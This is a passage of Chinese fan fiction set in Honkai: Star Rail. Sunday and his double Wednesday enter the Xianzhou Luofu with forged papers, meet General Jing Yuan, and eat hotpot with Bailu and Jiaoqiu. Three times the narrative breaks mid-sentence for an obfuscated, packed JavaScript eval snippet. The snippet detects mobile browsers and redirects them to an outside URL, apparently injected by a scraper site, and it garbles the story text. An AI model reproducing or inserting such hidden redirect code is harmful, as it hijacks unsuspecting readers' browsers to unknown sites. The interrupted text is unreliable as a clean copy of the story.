工作日下了飞船，信步来到对方守卫的面前，张开双臂，气势凌人：“吾乃第三乐章秘火之颂音部的红衣枢机主教，让开你们的道路。” 星期日多年担任家主，对于蒙托尔的家族内部构成非常熟悉。作为他之半身的工作日，随便编造一个高级的身份，简直是信手拈来的事情。 “这是我的奴仆。”他又指了指跟在旁边的桑博，桑博赶紧露出一个微笑。 “原来是主教大人驾临了！” 守卫完全没有怀疑，立刻让开道路，恭请他们进入飞船深处。工作日打了一个手势，命令他们退下了。 桑博见人走远了，压低声音便说：“您可太有手段了！您这个朋友，我桑博交得太值了。” 工作日轻哼一声，没理会桑博的掐媚，直接闯入了中央大厅。眼前的景象少见地让他感到了一丝惊诧。 血从他的掌心滴落。 星期日捂住肩头为荆棘刺透的深长伤口，掌心的血落成了一道细流。 那乌黑的钉子还嵌在血肉里，他强行抵住它的桎梏，依靠蛮力连带着钉头拔出了木板，硬是凭借自己的抑制挣脱了十字架，击倒了试图呼唤神降的修士。 痛到了极致，也就没有感觉了。 —— 罗浮仙舟。 “如您所见，我的故乡雅利洛六号是一片冰雪世界，我们素来有在冰雪中苦修的传统。肉身的疼痛，是我们用来铭记这座城市所经历之磨难的方法。我们用钉头刺穿掌心，来表示对神的虔诚。” 星期日十分正经地胡说八道着。 签证官的面色一沉，实在看不出是真的相信了他说的话，还是心生更大的怀疑。宇宙间各个派系皆有信奉苦修的人，这个解释确实不奇怪， “你们是信仰补天司命「存护」的苦修者？”疏月长长地吸了一口气，问道。 她看到那人的掌心处有一个凹陷的创口，边缘居然隐隐闪烁着金色的光芒。 工作日立答：“是的，他正在修行中呢。” 疏月听了他们的回答，谨慎的责任心使然，还是不敢随意放行，于是面不改色地在电子屏幕上点击了“通知骁卫，二次核查”的按钮，然后反手扣住他们的证件。 这时，恰巧云骑骁卫的长官彦卿走了过来。 少年的马尾荡了荡，带着很有礼貌的微笑对他们点头致意：“两位远道而来的旅者，我奉将军之名，在此迎接你们。” 12.罗浮仙舟（2） “两位请留步。” 在那位长相极其少年英气的云骑长官走过来的短暂几秒内，星期日的思绪却不由得回想起了那时的场景。 掌心沉沉一痛。 …… 叮咚。 钉子被硬生生拔了出来，滚落在地面上，沾满了血。 在「家族」收藏古老典籍中，记载了神子被钉上十字架，以身殉教的故事。然后在三日之后，神子复活，从此教义与福音远播①。 这样的故事总是充满了诡异的魅力，会吸引心志薄弱之徒汲汲渴望。人正是因为不相信自己，才会想要借助外力。 星期日看向倒在地上的修士，回忆起了圣典上来自祂的训导之言。 如果蒙托尔星系的「家族」在企划大事，将会是很麻烦的。 歌斐木先生想要复活一位已消亡的星神，现今看来确实是徒劳之举。但若是想要以方兴未艾的命途制造席卷全宇宙的圣迹，未必不可能。 许多许多个琥珀纪之前，「繁育」就曾做到了这一点——只不过祂造成的，对大多数存在来说，是恐怖的灾祸与劫难。 无数的悲戚。 痛苦的声音在呐喊，血顺流而下。 然后他听到了工作日发出毫不矜持的惊呼和焦急的步伐，那个自己真是不够成熟和稳重。 或许…… 那才是真实的「他」。 工作日华丽的六对耳羽在情不自禁地上下抖动，他以前从来不会允许自己袒露出如此明显的情绪。但工作日放开了「同谐」的力量，急促且关切地问道，然后一把捏住了星期日的胳膊。 “你的手……” 工作日如是问道。 星期日没有答复，然后摊开了掌心给工作日看。 “哼。” “这次吃到苦头了吧？”工作日轻垂脑袋，指尖触到翻开的血肉处，笑得奇怪，“啊不，你是一直在吃苦，而永远不知道怜惜自己。” “你在说什么胡……”星期日脱口而出，然后突然意识到了不对劲，语音戛然而止。 工作日的耳羽敛了一敛，靠近了星期日的脸，星期日有一瞬的恍神，方才觉察到对方握紧了自己的手掌。 同样的血脏污了另一个人的手。 星期日看着他垂下的眼睫，垂下的发梢，垂下的一吻。微微发颤的触碰，带着温热的气息从唇间呼出，原本疼痛的创口似乎感受到了柔软之意的慰藉。 “别这样。”星期日干咽了一下。 工作日却抓得更紧了。 然而这种奇异的氛围还未延续，桑博就焦急地喊他们逃跑，在外驻扎的守卫反应过来有问题，持着武器冲了进来。 实在让人怀疑是有某位愚者从中作梗。 “你们快跑啊！” 桑博一幅看热闹不嫌事大的样子，一边招呼着他们跟着他逃离，一边自己跑得飞快。与其说慌张，更像是乐在其中，可能是他在贝洛伯格被铁卫追惯了。 星期日还没有缓和过来他的情绪，已经被连拖带拽地带到了飞船上，血慢慢地也止了。明明是很严重的创伤，恢复的速度却超乎想象。 星期日并不畏惧家族的人，但考虑到在场的还有一位“无辜”的愚者和另一个“神秘”的自己，他或许不该大动干戈，若能隐匿行踪地消失，是更好的。 “他们不会追过来的。”他说道。 「家族」的计划应该绝不是压码在一个小小低阶修士身上。 工作日给飞船挂了自动挡，转过头来看星期日肩膀的伤口，星期日反倒抢先问道，他发现了异样：“你脸上的面具是怎么回事？” 工作日不悦地说：“我好心找人来救你，你就对我这种态度？” “因为我讨厌你。” 星期日不假思索，接着感到舌尖酸涩。那火灼的神印还留在那里，让他…… 工作日的面色变得阴沉，抿抿嘴故作地说道：“我知道了，你在匹诺康尼说过一遍了，真没想到还能再听到一次。” 星期日虚握了一下掌心，他本无意如此直截了当，毕竟他本来就不是会坦率说出自己心声的人，但是「希佩」的力量使他的隐藏无所遁形。 「同谐」的奥义要求众生万千彼此坦诚相待、剖析自身，献给最崇高的。那个低阶修士不知用了什么法子窃取到了「同谐」仪典的圣器。 这会儿成了……不说假话了！ “哎呦，两位大人接下来要去哪里啊？”缩在驾驶舱后头的桑博打断了所有人的思绪，“要说宇宙旅行，我桑博可谓是经验丰富，不如我来给你们二位参谋参谋？” 桑博仿佛会读心一般，掏出了两张知更鸟演唱会的门票和一沓伪造证件。 “免费赠送～” —— 这就是星期日和工作日如何成为科斯基兄弟的原委。桑博让他们将他顺路送到了雅利洛六号，然后开开心心地走了。 他似乎认为达成了一票大的，值得庆祝，将手头的假冒伪劣商品全数相赠。 罗浮仙舟对于外来访客管理严格，星期日现在实际上没有任何官方的身份，充其量不过是匹诺康尼的“逃犯”罢了，所以他才会接受愚者的馈赠。 若是要叫星穹列车的人来证明他的身份，他觉得实在是太麻烦他们了。况且贸然曝光自己的身份，很有可能会引起更大的问题。 自那场陨落之后，他一步一步地行得十分谨小慎微。 反倒好像又回到了从前的困境。 前来与他们对话的那位云骑长官自我介绍叫做彦卿，说将军请他们前往神策府一叙。 不知是怎么回事，彦卿没有对他们使用的□□发表任何意见，反倒让签证官疏月给他们按照那些信息发了快速签证。 “这不合……”签证官出于谨慎地确认。 “此乃将军的御令。”彦卿颔首，“姐姐，多谢您的认真负责。您若有疑虑，我之后还会亲自前往天舶司同司舵汇报，还望您协助一二。” “好。”得到上级命令后，疏月不再坚持。 愚者的东西可能还确实有点水平，如果他们遇到的是别的天舶司负责人员，说不定可以顺利混过去。 星期日看着年轻的剑士，记忆中的知识浮现。 罗浮将军是这座仙舟的实际统领者，素来以智谋闻名，亦武德丰沛。 难道他早就预料到自己的到来了，有所防备吗？ 仙舟科技发达，信息网广布，能够在他一落脚就锁定他的身份，并不奇怪；亦或者，星穹列车上的诸位事先通知了仙舟，这倒是更说明了仙舟的交往广泛、四通八达。 无论如何，仙舟联盟是宇宙各个势力间伫立的一道“坚壁”，它的强大、古老、执着、坚固，完全不逊于克里珀所筑之墙，甚至在必要之时可作最迅疾的锋刃。 一路经过繁华的星槎海中枢和长乐天，最终乘坐摆渡船来到了巍峨的巨殿。 “这里便是神策府，请进。” 彦卿彬彬有礼地领着他们进入辉煌庄严的将军办公地点，这里的建筑风格同匹诺康尼比起来简直是大相径庭。 肃穆、古老，而不失生机。 星期日抬头仰视神策府的穹顶，透过玻璃，竟可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597995|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以看到浩瀚灿烂的星空。 工作日自得知将军的邀约之后，一反常态地保持了绝对的沉默，也对这番奇景感到惊叹不已。 静谧的光浮动。 如果说匹诺康尼大剧院是一场幻梦，那么罗浮仙舟则是一处生活之地。 “将军。” 少年稳重地走到正在闭目养神的白发男子身旁，低声说道：“客人我带来了。” 安静的呼吸声。 罗浮将军的睫毛微动，慢慢睁开眼睛，怀揣着温和笑意，按了按少年的肩膀表示欣慰，起身站定。 ——然后轻轻打了个哈欠。 蓬松的白发摇晃了一下。 在家族的构造中，并不是所有人都有机会接触到「历史」的教育。星期日跟随歌斐木学习，才能够了解这个宇宙的广阔。 也许并不是自谦，星期日必须承认，或许比起自己，这位仙舟将军更具有统率一方的威严气息和运筹帷幄的自信。 而自己，或许过度局促于某些理念和痛苦，以至于失去了关键的洞察自视。 “无名客。” 景元刚刚抬了抬手臂，准备开口，却听到一个声响。 啪嗒。 工作日的腰间系着的那个白色面具居然意外滚落在地，星期日望了工作日一眼，那张一模一样的面孔镇定地弯腰重新捡起了东西。 说到这面具，凡是和「欢愉」沾边的东西百分之百千奇百怪的。 工作日在飞船降落雅利洛六号时，提到是那个疯子导演给他戴上的，怎么也取不下来，结果星期日指尖轻轻一碰，便脱落了下来。 照道理，愚者对于面具的事情最为了解，然而桑博亦是装聋作哑地推脱，不肯明说，兀自消失在了雪原深处，留下经久不久的笑声。 “嗯，常乐天君的面具，着实技艺精巧。”景元将军眼睛一眯，同样意味深长地笑道。 “听闻二位无名客自悲悼伶人的剧团分部而来，那片地界曾受绝灭大君的摧折，却意外留下了壮美绚丽的光带，实乃奇景。若非在下久为俗事所拖，云游四海不失为一种乐事。” 彦卿见景元滔滔不绝地唠嗑起来，连忙出声：“将军……” 星期日端方持正地回复道：“见过将军，在下……星期日，自匹诺康尼出发，正在行走世间，探索世事。” 他稍有些犹豫，最后还是坦诚地说出了自己的名字，没有隐瞒。他不知道罗浮的将军是否清楚匹诺康尼事件背后的真相，但他觉得现今他该接受自己的一切。 景元面色含笑：“我代表罗浮欢迎你的到来，罗浮是一片敞开怀抱的地方，希望你可以找到属于自己的一方天地。” “感谢您的祝福。”星期日礼貌回答，“不过在下不敢妄称无名客，不过是一介搭车的律者，尚未达到「开拓」的高度。” 景元抱住手臂，淡定回复：“原是如此。” 气氛暧昧的交锋似乎有些点到为止的地步，却来回盘旋的地步。 幸好星期日还记得他这一趟的目的是找到知更——用“正统”的「同谐」力量调律自己——这一点上，他绝不敢称自己是“正统”的「同谐」之子。 但至今短暂的几个系统时里面，他遭遇的种种怪奇事件让他觉得事情变得不一般起来。 他觉得自己应当警觉起来。 景元转向一旁缄默不语的工作日，但凡是目力正常的人，都能看出来两个人长得像是一个裂成了两半，好生奇异。 他的话语好像意有所指：“这位旅人身伴白面戏头，莫非是一位愚者大驾光临我罗浮方寸地？” 13.罗浮仙舟（3） “哈哈，开个玩笑。” 景元将军徐徐地摆了摆手。 这微妙的玩笑不知道有什么意指，着实耐人寻味起来。 不过景元继而说道：“话归正题，不久前罗浮的确收到了匿名者发来的讯息，请求我们支援「琉璃光带」受原始博士迫害的悲悼伶人。但鉴于仙舟未与悲悼伶人的剧团签订友好互助条约，协调各方派出义军需要一定时间。而且先遣协调队伍汇报说有大质量黑洞阻挡了通往「琉璃光带」的道路。方才再度得到消息，星间众位义士解决了黑洞的麻烦，并且博识学会介入后，将他们安置在了黑塔空间站，以便后续诊疗。一桩事件也算妥善落幕，实乃佳音。” 听到仙舟将军特地提及黑洞的事情，星期日不免多询问了一句：“星轨上出现正在成长的黑洞，是很少见的，我也感到十分惊奇。是愚者突然出现插手此事，才获得了合理的解决。” 关于悲悼伶人的遭遇，愚者在里面插上一脚，让事情变得扑朔迷离起来。与「欢愉」这道命途比起来，或许「巡猎」都显得极其直白了当。 景元微微颔首：“依目前形势来看，宇宙间不仅烬灭祸祖的影响在急速扩张，更多不可控的星神力量也在发展。” “包括「虚无」、「神秘」以及其它藏在幕后的角色。” 将军的视线落在了星期日掌心的伤口处，然后缓缓移开了，那里影影绰绰地闪烁着浅淡的星点。 星期日不动声色地避开了话锋：“若有能献上一份力的地方，在下定会倾尽所能。只不过仙舟庄严肃穆，毕竟于我来说是异乡地界，不敢轻举妄动。” 景元哈哈一笑，只道：“星期日先生作为家族的主事，势必知晓罗浮此前遭受过绝灭大君的阴谋袭击，幸得各路兵马齐心协力顺利平息灾祸、荡清邪崇，诸位大可放心体验罗浮风貌。” “我怎敢妄称家族主事，我如今不过……”星期日出于礼貌地解释道，“家族通缉的一介罪人，贸然造访仙舟也是为了解决一些麻烦。倘若给将军造成了不便，待完事之后，我必亲自赔罪。” 工作日在旁边对着“麻烦”两个字微微抿了抿嘴。 景元反倒爽朗答道：“仙舟就是仙舟，不是别的地方。罗浮与家族暂时亦无任何官方交往，自然没有义务协助他们。既然星期日先生有事要办，我便不多留了。” 他转头对一旁听得认真的少年喊道：“彦卿，代我送送客吧。送完他们，你今天的任务也算完成了，可以早点休班。” “是。”彦卿速答。 吩咐完之后，景元重新坐到了书案前，开始处理那堆让人头疼的文书。彦卿妥帖地将两人送回了长乐天的码头。 少年非常客气地对他们介绍道：“两位客人想要游览一番的话，宣夜大街的商铺鳞次栉比，可寻到不少仙舟特产；长乐天有极佳夜景，亭台楼阁可见浩渺云海；金人巷多设临街餐馆小店，可品味到最地道的罗浮食物。” 这位少年剑士看着年轻模样，言谈却格外成熟。 星期日礼貌谢过他的介绍，其实并没有心思到处游览，他比较急于处理完事情赶回星穹列车。 然而彦卿这时又问道：“说来略微唐突，此前在南天门的签证办理处见到二位持有演唱会门票，又从将军处得知您是知更鸟小姐的兄长。如有所需，我可联络相关的工作人员询问一下知更鸟小姐的意见，没有问题的话，可直接带您去见她，您意下如何？” 彦卿如此一问，倒把星期日问懵了。他一时之间心绪交杂，不知该作何答复。 他本来是来找知更鸟的，然而过去和她在梦境中告别时，已经做好了分别许久的打算。这么快再度相见—— 实在……太过惊喜了。 他想着，这次或许应该再做次伪装，然而她见到工作日之后定然会明白，伪装也没有什么意义了。况且即便罗浮将军强调了，他还是多少担心自己的身份会给知更鸟带来不方便。 自己真是有点思前想后，前后矛盾。 星期日心中正在天人交战，一直安静看戏的工作日却替他张嘴回答道：“多谢小兄弟好意，已经到了仙舟，自然要好好体会风土人情了。我们打算先留几日，再见机行事，不急于现在。” 彦卿轻松地叉了叉腰：“这样啊，那彦卿先一步告辞了，祝二位玩得愉快。”末了，居然还听到少年轻声低语：“太好了，还能赶上剑铺关门前去逛逛。” 见少年走远，工作日赶忙打趣星期日道：“怎么？都到了仙舟，不敢去见她了？” 星期日压低了眼梢：“没有的事。” “你给她发个讯息不就好了？难道你忘记带上手机了？”工作日说道。 星期日默默地伸手探进衣兜里准备拿出手机，结果发现身上的信用点全部不见了。 他侧目问道：“你把我的信用点都拿走去做什么了？” 工作日摊摊左手，又摊摊右手：“花钱，买个朋友；花钱，买条情报；花钱，买场合作。你在匹诺康尼的时候，不是最擅长这个？” 这另一个自己实在行事风格大相径庭，星期日无奈，却没什么办法，又问道：“你在神策府的时候，为何一句话不说？” 当时工作日沉默到真的像是他的一道幻影了，阴森森地附在他的影子里，锐利地观察一切。 工作日挑了挑嘴角：“我身为你的人生另一种可能，理当永远留在匹诺康尼的巴别塔里，如何会与仙舟将军有交集呢？我不说话，大概是因为我不知道该说什么吧。” 星期日冷漠地觑了他一眼：“「家族」内部暗潮汹涌，恐怕仙舟的内里也不逊于此，但那位将军具有足够的自信操控一切。” “用一个词来形容，他就是赌局中……”工作日心领神会地笑了笑，“操盘手。” 工作日又幽幽说道：“哦，你不会喜欢这个术语，你讨厌所有与概率相关的东西。” 罗浮将军的智名果然名不副虚传，他这番延邀，在入境的地方就预先截住了他们，然后说了些模棱两可的话，意思耐人玩味。既不指明意图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14612658|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，又提点了他们，还暗暗地提醒他们注意自己的身份，一举多得。 星期日眨了眨眼，思考了片刻，刚好手机传来了开拓者的消息。他请求星帮助询问一下知更鸟现在所在地点，星立马问出来了，并且告诉他慢慢来，列车还在做准备工作。 然而他还没想好究竟该以怎样的面目去见知更鸟—— “啊啊啊啊！” 这时一个小小的身影直撞到他腿上，龙角和龙尾巴一起晃啊晃的。小家伙跑得飞快，来不及看路，闷头撞了过来。 “哎呀，痛。” 可爱的龙女大人揉揉脑袋，抬起头来不安地说道：“唔……大哥哥，不好意思……” 星期日半跪下来看她。 小小的稚童，连话都说不连贯，在阳光灿烂的庭院里你追我闹，那是他记忆当中的场景。很小的时候，可以毫无顾忌地一起牵着手，快乐地奔跑。 天环族的一个天赋是能够通过精神体的“天环”感受到他人的情绪。星期日通过感知与以往学习过的知识，判断出来她是仙舟的「龙尊」。 “龙女尊下，您在街上飞奔做什么？”星期日出于对小孩子的不放心，追问道。 白露“哼”了一声：“气死啦！他们老是逼我做什么检查……不，他们不给我吃好吃的，饿死我了！好不容易跑出来，结果路遇邪魔恶煞要把我逮回去——” 龙女看到眼前身着异乡服侍的温柔大哥哥，突然心生一计，扯着他的衣领角，泪眼汪汪地说道：“大哥哥，能不能带我去金人巷吃火锅啊？现在正好有锅底上新！” 星期日本想劝说这位龙女大人回去，但工作日倒是先伸出了手，牵起了白露，白露兴高采烈地就要拉着他往金人巷去。 工作日一笑：“这家伙从来没尝试过「家族」圣餐以外的东西，叫他试试新玩意，多好的事啊？正好我也饿了。” 白露晃晃脑袋，充满活力地回复道：“罗浮的火锅最好吃了！还有很多甜食——哎，丹鼎司的哥哥姐姐们才不让我吃呢。” “哎呦，这家伙也最爱吃甜品了。”工作日感慨，“嗯，我也喜欢呢。” 说话间，工作日和白露已经走到了金人巷。星期日觉得毕竟自己身为游客，在罗浮的大街上阻止他们不太礼貌，而且工作日说自己饿了，经历了一番波折，倒也确实合理。 况且他也需要一点时间整理思绪…… 于是只好顺着他们一起到了火锅店门口。 白露牵着工作日的手，欢欢喜喜地一路将他们带进了热热闹闹的火锅店深处，正好看到有一桌“空位”。 粉色头发的狐人，一个人占据了四个座位的桌子，闭着眼睛感受着麻辣牛油的香味，新鲜的菜品摆满了整个桌面。 他抬起头，眼睛没有睁开，对着来人说道：“龙女大人也来吃火锅？欢迎欢迎，一起坐吧，正好在下一个人品味美妙佳肴，孤单得很。” “以及两位远道而来的外乡客人。” 他不睁眼，却看得很清楚。 14.罗浮仙舟（4） “毛肚。” “要烫就烫十五秒——” 椒丘高兴地说道。 不知道怎么回事，他们几个人就一起坐下来吃火锅了。星期日看着眼前这独特的仙舟食物，在红彤彤的火锅热油里滚过一遭，泛起卷边。 他掌心的贯穿伤已经不痛了，但奇怪的是，伤口完全没有愈合，隐隐藏着一股涌动的力量。 星期日以自己的意志压下它，艰难地拾起筷子，试着操纵这两根细长的竹筷。 他这双手，握得最多的大体上是银刀与银叉，反光的色泽剖开架血的肉排。在曾经的某段时间里，他因聆听嘈杂的告解之音而感到迷茫，那种深重的疼痛甚至让他一时间食不下咽。 他以为这是在为了虔诚的理想苦修，但实际上只是在折磨自己吧…… 坐在他旁边的工作日反倒得心应手地夹起了辣汤里浮起的虾滑，扔进蘸料碟里面。他学得非常快，也对仙舟食物充满了好奇心。 “怎么样，要不要我来教你~” 工作日意味深长地瞧了在和筷子作斗争的星期日，星期日收拢记忆，镇定地回答：“失败，也是一种学习。” “是啊，你小时候可好学了。”工作日故意提及往事，“读到歌斐木先生从域外的书上的内容，还会拿两根指挥棒假装筷子练习，可惜你之前在匹诺康尼基本上是足不出户。” “或许可以考虑在匹诺康尼引进仙舟品牌呢，一定会异常火爆的。”工作日转头对其他人夸张地说道。 白露和椒丘都笑了起来。 工作日不说，星期日差点想不起来自己小时候还干过这样的事情。 不过话音未毕，工作日的手指就特意探进他的袖口里头一挑，然后慢慢往上勾住他的手背，引导着他如何用指腹和指尖操控筷子的运动。 冰冰凉凉的肌肤贴在一起。 然后在他的耳羽边缘喷上口潮湿的热气，吹动了细细密密的绒毛。 两个人的骨节擦了擦彼此。 星期日轻微地抖抖肩膀，别开耳后的小翅膀，故作无事人地尝试从翻滚的麻辣锅里捞出一片已经烫老了的毛肚。 从未尝试过的新鲜食材。 “嗯嗯，好吃！” 桌子对面的白露应和着这热忱忱的气氛，飞快地从锅里捡出爱吃的食物，像是好多天没吃饱饭了。 持明族的龙尾晃得起劲，配合起狐人的漂亮狐尾，还有天环族亮锃锃的天环，三个大人和一个小孩，整出了七八个的人感觉。 喧腾的烟雾和食物香气将所有人抛掷到了快乐的情绪中。 “试试吧——” 工作日狡黠的语音在耳侧响起。 星期日浅浅吸了一口气，做足准备将这长相怪异的毛肚送入嘴中，第一个感觉是爽爽脆脆的，然后强烈的酥麻感在舌尖上头腾起，仿佛着起了火，威力不亚于希佩的神罚之力。 难以描述的独特味道。 辣，且痛，但迷人。 椒丘嘿嘿笑道，一摇羽扇：“麻麻辣辣的，人生才有滋味。两位远道而来的客人，我们这仙舟特有的火锅食法如何？可颇具独道的风情？” 舌尖上残存的同谐纹章让他暂时说不了假话，星期日辣到泪快出来了，强忍着搁下筷子，回答说：“不错。” 工作日将一杯水推到星期日手边，星期日坚持优雅地端起水，连抿了好几口。 口腹之欲的致命吸引力，让他感到惴惴不安，但味蕾的直觉告诉他，他应该多多尝试。 奇怪的食物。 奇怪的人生。 或许他该跳出那个自己亲手给自己画下的方框。 工作日揉了揉他耳羽根部的羽管，对他说：“味道挺不错的，不是吗？” 星期日推开他肆无忌惮的手。 转眼间，桌上的菜被风卷残云般地消灭了，椒丘知道他们新到仙舟，吃不了这么辣的，特意调了两盘油碟。人多聚集的热闹氛围似乎同样影响到了他们的心情，与人分享同一锅美食的时候，不免多动筷子吃上了好几口。在匹诺康尼的餐厅里，拿上刀叉，食自己盘中的餐，总有些过于规行矩步的感觉，失了品尝美食的兴致。 待到大家吃饱喝足——主要是饿得慌的龙女大人——服务员端来最后一份甜品。 粉色头发、粉色耳朵、粉色尾巴的粉毛狐狸，耳朵尾巴和扇子一个方向晃动，眼睛一弯，笑眯眯地对他们悠悠问道： “目辨白黑美恶，口辨酸咸甘苦①，是人生来具有的本能，酒足饭饱之际，便可以慢慢……谈正事了~” “哦？什么正事？”工作日抢答。 他装聋作哑的做派十分“败坏”星期日的形象，但星期日还没开口，白露居然抢先坦白道，发出一声哀嚎：“椒丘大夫，你救救我吧！” 椒丘撑起脸颊，只道：“这仙舟地界上，难道有什么人会害龙女大人吗？不妨说来听听，我椒椒能帮则帮。” 白露压低了声音：“当然是那群龙师了！他们……他们最近喂我吃了些怪东西，我知道那东西奇怪，却说不出究竟哪里怪。” 椒丘又回：“灵砂同僚新近任了丹鼎司的司鼎一职，定然不会让龙女大人出了差错的。” 白露发出无奈的感慨：“哼，就算是灵砂姐姐也管不了那群老家伙们啊！” 他们两人如此来来回回，好像讲了些颇为机密的要闻，仿佛并没有考虑到现在是当着外乡来客的面。 亦或者……就是故意如此。 星期日的勺子在双皮奶上划出一道弧形，他分心听着他们说话，一边内心对抗着张口品尝它的燃烧欲望。 两把勺子撞了撞，哐当的声响。 工作日的勺子无情地侵入，挖走了一大块甜点，送入嘴中。 星期日在心中暗暗叹了口气，放下勺子，对正在说话的椒丘和白露说道：“不知二位所说的事，可与我刚刚碰见龙女尊下有关？事实上，初见之时我就察觉到有诡异的气息在暗地里跟踪你们的龙女尊下，一直跟随我们进入了这家店才消失。” “哎呦，我就说你怎么心甘情愿地跑过来吃火锅了。”工作日一笑，“原来又是舍己度人了啊？” 这么说来，星期日思考道，或许他们两人能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642802|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大街上撞见身份尊贵的龙尊，然后被她拉去吃火锅，绝非出于偶然的事情。天环族的天环非常显眼，他入境匆忙，刚刚也没有加以伪装，或许早就有人盯上了他。 有些失策…… 星期日想道，他本是想快速解决问题，赶紧返回星穹列车，如今看来又卷进了新的事件。 虽然景元将军向他解释了仙舟的立场，他还是不能百分百地放下心来。 椒丘拿扇子掩了掩笑意：“如果是正经的龙师来追龙女尊下，肯定不会故意隐藏身形。如此一来，不可告人的目的昭昭欲显了。不瞒各位说，仙舟联盟庞大复杂，各种势力纠杂，不可避免地存在心怀恶念的家伙。龙女尊下，真是很机警啊。” “哎呦，椒丘大夫可别小瞧我了！”白露眨了眨可怜巴巴的大眼睛：“不过，有椒丘大夫你在这里，这火锅店应该还算是安全的吧？” “仙舟的违法狂徒不至于在人满为患的小吃街公然动手吧。”工作日接话道。 星期日半恼不恼地按住了他的手腕，叫他别再不识好歹地说话了。 “自然。” 椒丘闭着眼睛在手机上盲打了几个字。 “某人已经解决了。” 他本是叫貊泽进来的，结果抬头“看见”了桂乃芬抱着素裳的胳膊，对着他们举起了长长的自拍杆。 他虽然眼睛看不见，人的气息却能通过感知分辨清楚。这一点上，引起了星期日暗暗好奇的观察。 “椒丘大夫！白露大人！还有两位旅人，你们好啊！”桂乃芬中气十足地打招呼道。 “不会是来找我看诊的吧？”白露拍拍桌子，“又出表演事故了？” “不不不！”桂乃芬急忙解释，“这是我小桂子和金人巷各个店家合作推出的【罗浮探店】系列视频，各位要是不介意的话，可否赏个脸出个镜，帮小桂子赚点小小流量？” 椒丘和她们两人熟悉，当然欢喜应允。 桂乃芬一眼发现星期日和工作日两人气质非同凡响，于是百般使用话术邀请他们上镜：“这两位旅人真是气宇轩昂、姿态不凡，看着服饰，像是从远邦来的啊？我跟你们说，这可是我们金人巷最正宗的火锅店，你们可真是来对了哦！” “确实很美味。”星期日礼貌地回答道，“和我家乡的烹饪风格十分不同，别有一番新奇的体验。” “看到了吧！”桂乃芬对着镜头热情地挥手，然后把他们两个人一起框了进来，“罗浮麻辣锅，人人都说好！” 于是就这样，星期日在直播当中惊鸿一瞥地留下了可能会惹下大麻烦的镜头。 桂乃芬念完广告词，素裳立刻拉着她离开了，给大家比了个耶表示感谢：“感谢各位赏脸，吃好喝好啊！” 椒丘忍俊不禁地感慨：“这两位姑娘，真是活力十足啊。” 此时他的后半句话被后头传来的高分贝叫声盖住了。只听见桂乃芬和素裳说道：“震惊！我们美丽、可爱、寰宇知名、人美歌甜的大明星知更鸟小姐，竟然也在观看我们的直播诶！感谢知更鸟小姐，送出了【烟花】一份！各位，多多支持啊！” 15.罗浮仙舟（5） 【叮咚】 【亲爱的妹妹向你发来一条信息】 【知更鸟：哥哥。】 【知更鸟：我知道你在仙舟。】 没想到知更鸟正巧在看桂乃芬的直播，且恰好瞧见了星期日的那几秒出镜。 工作日觉得星期日在拿起手机查看这两条消息的时候差点要尖锐爆鸣起来，但是他只是假装镇定地重新放下了手机。 “怎么？你不敢回复了？” 工作日的勺子摆弄着碗里的甜品。 “你不必如此讽刺。”星期日推了一下碗边，让它滑到了工作日的面前，“你明白我的意思，现在不是回复的时机。” “我可不明白啊。”工作日故意压低了嗓音说道，“毕竟你从来不爱跟任何人吐露心声，而且也不是我一个人觉得你话说不明白。全匹诺康尼的人都这么觉得。” “你太夸张了。”星期日回答。 两个人斗嘴之间，工作日火速地吃完了甜品，半点残渣不留。星期日没有阻止另一个自己放纵地品尝甜食。 桌子对面的椒丘见到他们用餐完毕，便悠哉悠哉地摇了摇扇子，请服务员来结账。 然后对大家说道：“各位，按照新时代的潮流，这段饭不如我们均摊了？” 虽然工作日把星期日身上带着的信用点全部给了桑博，但幸好星期日很有预见之明地兑换过一些仙舟货币——巡镝，所以还是付得起这顿饭钱的。 至于其他的——比如住宿费——恐怕需要谨慎打算一下了。 不过星期日刚要掏出钱，白露居然伸手拦道，她长得不高，动作倒挺快的：“大哥哥，拿我的，我有零花钱。我之前跑得太快撞到你，太不好意思，这顿饭就当我请了！” “呦，龙女大人竟然还藏了零花钱，用来偷偷买琼实鸟串的？”椒丘笑眯眯地调侃道，白露抱起手臂闷哼了一声作为回应。 “那就恭敬不如从命了。” 星期日稍微知道仙舟的习俗，这种时候照道理应该和想要请客的人来回推脱一番，不过他实在不喜爱这样的人情往来。因而偷偷地找服务员结了自己的账，让对方退回了白露的钱。 等到他回来，椒丘还在和白露闲聊，白露丝毫没注意到星期日的消失。服务员递来了打包盒子，星期日重新坐下来。 接着，粉毛狐狸就耐人寻味地看了过来。 “吃完饭就该来点别的娱乐活动了。” —— 